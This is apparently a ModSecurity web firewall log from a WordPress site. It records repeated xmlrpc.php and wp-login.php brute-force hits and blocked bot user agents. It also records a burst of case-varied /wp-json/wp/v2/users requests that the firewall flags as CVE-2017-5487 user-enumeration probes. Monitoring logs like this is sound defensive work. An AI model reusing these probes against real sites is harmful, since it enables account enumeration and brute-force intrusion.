[Wed Dec 24 13:59:11.887437 2025] [:error] [pid 16466:tid 16480] [client 138.201.53.184:43872] [client 138.201.53.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.201.53.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUuBL7u0JcuKJMjJn6zx_wAAAAo"]
[Wed Dec 24 13:59:13.712319 2025] [:error] [pid 16466:tid 16491] [client 138.201.53.184:43872] [client 138.201.53.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.201.53.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUuBMbu0JcuKJMjJn6zyAQAAABU"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 24 14:05:32.453858 2025] [:error] [pid 54139:tid 54161] [client 57.128.243.0:42632] [client 57.128.243.0] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aUuCrMrYCZenIDzgXuJFSwAAARQ"]
[Wed Dec 24 14:05:42.498893 2025] [:error] [pid 16466:tid 16489] [client 203.2.64.59:49066] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUuCtru0JcuKJMjJn6zzCQAAABM"]
[Wed Dec 24 15:22:20.973503 2025] [:error] [pid 16468:tid 16538] [client 172.183.160.242:1737] [client 172.183.160.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.183.160.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUuUrIdyfuSTFLkCbP9hnQAAAI4"]
[Wed Dec 24 15:22:54.604368 2025] [:error] [pid 16550:tid 16561] [client 20.189.16.8:3456] [client 20.189.16.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.189.16.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUuUzqYYcdD-LuO7vrDHAwAAAMk"]
[Wed Dec 24 15:23:10.308399 2025] [:error] [pid 16467:tid 16512] [client 103.37.61.52:41544] [client 103.37.61.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.37.61.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUuU3o0TJMcBxX5slgoc6QAAAE8"]
[Wed Dec 24 15:23:19.735611 2025] [:error] [pid 28777:tid 28801] [client 35.184.243.115:37312] [client 35.184.243.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.184.243.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUuU55BVBcZ34cSqz8oIgAAAAZY"]
[Wed Dec 24 15:23:29.598995 2025] [:error] [pid 28777:tid 28781] [client 185.208.164.61:37898] [client 185.208.164.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.208.164.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUuU8ZBVBcZ34cSqz8oIkQAAAYI"]
[Wed Dec 24 17:31:20.343882 2025] [:error] [pid 16467:tid 16512] [client 185.208.164.61:45276] [client 185.208.164.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.208.164.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUuy6I0TJMcBxX5slgo1_gAAAE8"]
[Wed Dec 24 17:31:27.866245 2025] [:error] [pid 16550:tid 16574] [client 62.72.44.55:55084] [client 62.72.44.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.72.44.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUuy76YYcdD-LuO7vrDkeAAAANY"]
[Wed Dec 24 19:40:06.126781 2025] [:error] [pid 28777:tid 28779] [client 202.182.124.159:32054] [client 202.182.124.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.182.124.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvRFpBVBcZ34cSqz8o3rAAAAYA"]
[Wed Dec 24 19:40:06.972791 2025] [:error] [pid 28405:tid 28433] [client 185.114.247.170:44398] [client 185.114.247.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.114.247.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvRFsKkTWlhmfdXFqZ_SgAAAVc"]
[Wed Dec 24 19:40:12.971248 2025] [:error] [pid 29371:tid 29392] [client 208.87.132.105:56852] [client 208.87.132.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.87.132.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvRHHs-DlKLysSq5L-ZmgAAAdM"]
[Wed Dec 24 19:40:16.058008 2025] [:error] [pid 28777:tid 28801] [client 107.172.32.149:36678] [client 107.172.32.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.172.32.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvRIJBVBcZ34cSqz8o3sgAAAZY"]
[Wed Dec 24 19:40:16.683137 2025] [:error] [pid 29371:tid 29383] [client 172.183.160.242:16149] [client 172.183.160.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.183.160.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvRIHs-DlKLysSq5L-ZnQAAAco"]
[Wed Dec 24 21:04:25.450445 2025] [:error] [pid 16468:tid 16547] [client 178.175.137.84:50068] [client 178.175.137.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.175.137.84, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvk2YdyfuSTFLkCbP-iXgAAAJc"]
[Wed Dec 24 21:08:27.607804 2025] [:error] [pid 16467:tid 16521] [client 101.53.147.26:53992] [client 101.53.147.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.53.147.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvly40TJMcBxX5slgpdugAAAFg"]
[Wed Dec 24 21:23:25.279821 2025] [:error] [pid 16466:tid 16484] [client 103.28.36.66:43550] [client 103.28.36.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.28.36.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvpTbu0JcuKJMjJn6xbOAAAAA4"]
[Wed Dec 24 21:52:26.358523 2025] [:error] [pid 16550:tid 16565] [client 185.112.84.48:56264] [client 185.112.84.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.112.84.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvwGqYYcdD-LuO7vrAf_gAAAM0"]
[Wed Dec 24 21:58:42.482529 2025] [:error] [pid 28405:tid 28411] [client 157.10.171.176:43228] [client 157.10.171.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.10.171.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvxksKkTWlhmfdXFqa1IwAAAUI"]
[Wed Dec 24 22:03:15.409793 2025] [:error] [pid 28405:tid 28431] [client 178.239.158.65:55720] [client 178.239.158.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.239.158.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvyo8KkTWlhmfdXFqa3WAAAAVU"]
[Wed Dec 24 22:03:38.051454 2025] [:error] [pid 16467:tid 16516] [client 20.231.250.161:28801] [client 20.231.250.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.231.250.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvyuo0TJMcBxX5slgpqdAAAAFM"]
[Wed Dec 24 22:03:40.846413 2025] [:error] [pid 28405:tid 28420] [client 128.65.195.215:44882] [client 128.65.195.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.65.195.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvyvMKkTWlhmfdXFqa3eAAAAUo"]
[Wed Dec 24 22:04:13.767073 2025] [:error] [pid 16466:tid 16478] [client 125.212.243.150:35120] [client 125.212.243.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.212.243.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUvy3bu0JcuKJMjJn6xnfAAAAAg"]
[Wed Dec 24 22:38:29.542579 2025] [:error] [pid 29371:tid 29388] [client 99.192.139.234:40140] [client 99.192.139.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 99.192.139.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUv65Xs-DlKLysSq5L_AeAAAAc8"]
[Wed Dec 24 22:47:21.872660 2025] [:error] [pid 16468:tid 16529] [client 178.33.250.132:39404] [client 178.33.250.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.250.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUv8-YdyfuSTFLkCbP-14gAAAIU"]
[Wed Dec 24 23:03:06.660294 2025] [:error] [pid 16468:tid 16526] [client 54.64.91.115:48478] [client 54.64.91.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.64.91.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwAqodyfuSTFLkCbP-44wAAAII"]
[Wed Dec 24 23:08:00.072873 2025] [:error] [pid 16466:tid 16473] [client 104.237.153.230:56280] [client 104.237.153.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.237.153.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwB0Lu0JcuKJMjJn6x16wAAAAM"]
[Wed Dec 24 23:18:25.665559 2025] [:error] [pid 16468:tid 16532] [client 99.192.139.234:49956] [client 99.192.139.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 99.192.139.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwEQYdyfuSTFLkCbP-69QAAAIg"]
[Wed Dec 24 23:28:31.997302 2025] [:error] [pid 16550:tid 16552] [client 135.181.48.117:33032] [client 135.181.48.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.181.48.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwGn6YYcdD-LuO7vrAxwAAAAMA"]
[Wed Dec 24 23:28:31.998940 2025] [:error] [pid 16550:tid 16552] [client 135.181.48.117:33032] [client 135.181.48.117] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwGn6YYcdD-LuO7vrAxwAAAAMA"]
[Wed Dec 24 23:28:32.000115 2025] [:error] [pid 16550:tid 16552] [client 135.181.48.117:33032] [client 135.181.48.117] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwGn6YYcdD-LuO7vrAxwAAAAMA"]
[Wed Dec 24 23:47:32.763831 2025] [:error] [pid 29371:tid 29388] [client 110.78.211.34:56852] [client 110.78.211.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.78.211.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwLFHs-DlKLysSq5L_K9QAAAc8"]
[Thu Dec 25 00:01:57.118620 2025] [:error] [pid 28405:tid 28422] [client 172.183.160.242:11153] [client 172.183.160.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.183.160.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwOdcKkTWlhmfdXFqbYTQAAAUw"]
[Thu Dec 25 00:06:21.576611 2025] [:error] [pid 28405:tid 28430] [client 34.122.205.240:34408] [client 34.122.205.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.122.205.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwPfcKkTWlhmfdXFqbZgQAAAVQ"]
[Thu Dec 25 00:06:40.032041 2025] [:error] [pid 28777:tid 28787] [client 77.68.64.24:59674] [client 77.68.64.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.64.24, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwPkJBVBcZ34cSqz8poCAAAAYg"]
[Thu Dec 25 00:29:29.227441 2025] [:error] [pid 16341:tid 16361] [client 103.130.216.169:7870] [client 103.130.216.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.130.216.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwU6WOMHgxtc4kIvgUFJAAAARA"]
[Thu Dec 25 00:48:35.784963 2025] [:error] [pid 38613:tid 38672] [client 104.28.152.248:55742] [client 104.28.152.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aUwZYwRFd_-RqnYRzWEh6wAAAIA"]
[Thu Dec 25 01:06:09.352898 2025] [:error] [pid 38613:tid 38683] [client 92.204.55.244:38134] [client 92.204.55.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.55.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwdgQRFd_-RqnYRzWEl4QAAAIs"]
[Thu Dec 25 01:06:10.693006 2025] [:error] [pid 16341:tid 16358] [client 92.204.55.244:39054] [client 92.204.55.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.55.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwdgmOMHgxtc4kIvgUTkwAAAQ0"]
[Thu Dec 25 01:06:12.043647 2025] [:error] [pid 16659:tid 16707] [client 92.204.55.244:39770] [client 92.204.55.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.55.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwdhC2KqR0Lr_kutLu7ewAAAUA"]
[Thu Dec 25 01:17:22.196941 2025] [:error] [pid 38611:tid 38638] [client 89.46.106.139:27398] [client 89.46.106.139] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aUwgIuLzy4v8uFDvXNic0AAAABY"]
[Thu Dec 25 01:17:59.426139 2025] [:error] [pid 16659:tid 16718] [client 167.99.128.60:59562] [client 167.99.128.60] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/Wp/v2/users"] [unique_id "aUwgRy2KqR0Lr_kutLu9cQAAAUo"]
[Thu Dec 25 01:18:04.116883 2025] [:error] [pid 38613:tid 38675] [client 37.157.254.122:42346] [client 37.157.254.122] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/Wp/v2/users"] [unique_id "aUwgTARFd_-RqnYRzWEnSQAAAIM"]
[Thu Dec 25 01:18:19.021274 2025] [:error] [pid 38611:tid 38621] [client 212.224.88.239:43950] [client 212.224.88.239] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/V2/users"] [unique_id "aUwgW-Lzy4v8uFDvXNic6wAAAAU"]
[Thu Dec 25 01:18:21.806005 2025] [:error] [pid 16341:tid 16355] [client 5.9.122.4:38220] [client 5.9.122.4] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/V2/users"] [unique_id "aUwgXWOMHgxtc4kIvgUU9AAAAQo"]
[Thu Dec 25 01:18:45.975586 2025] [:error] [pid 16341:tid 16351] [client 213.160.71.102:40620] [client 213.160.71.102] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aUwgdWOMHgxtc4kIvgUVFAAAAQY"]
[Thu Dec 25 01:18:48.115561 2025] [:error] [pid 38613:tid 38689] [client 135.125.202.151:39694] [client 135.125.202.151] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aUwgeARFd_-RqnYRzWEnVQAAAJE"]
[Thu Dec 25 01:20:18.056857 2025] [:error] [pid 21513:tid 21531] [client 173.252.167.150:32868] [client 173.252.167.150] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aUwg0mPuOaBlVJ9Har3oXwAAAZA"]
[Thu Dec 25 01:20:20.517785 2025] [:error] [pid 16659:tid 16725] [client 85.13.149.164:52884] [client 85.13.149.164] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aUwg1C2KqR0Lr_kutLu97gAAAVE"]
[Thu Dec 25 02:28:43.168167 2025] [:error] [pid 16341:tid 16368] [client 39.109.116.19:49348] [client 39.109.116.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.109.116.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUww22OMHgxtc4kIvgUgzAAAARc"]
[Thu Dec 25 02:28:46.032505 2025] [:error] [pid 16659:tid 16708] [client 185.8.173.39:54898] [client 185.8.173.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.8.173.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUww3i2KqR0Lr_kutLvPsQAAAUE"]
[Thu Dec 25 02:29:25.141071 2025] [:error] [pid 21513:tid 21515] [client 125.212.243.150:41176] [client 125.212.243.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.212.243.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUwxBWPuOaBlVJ9Har32OAAAAYA"]
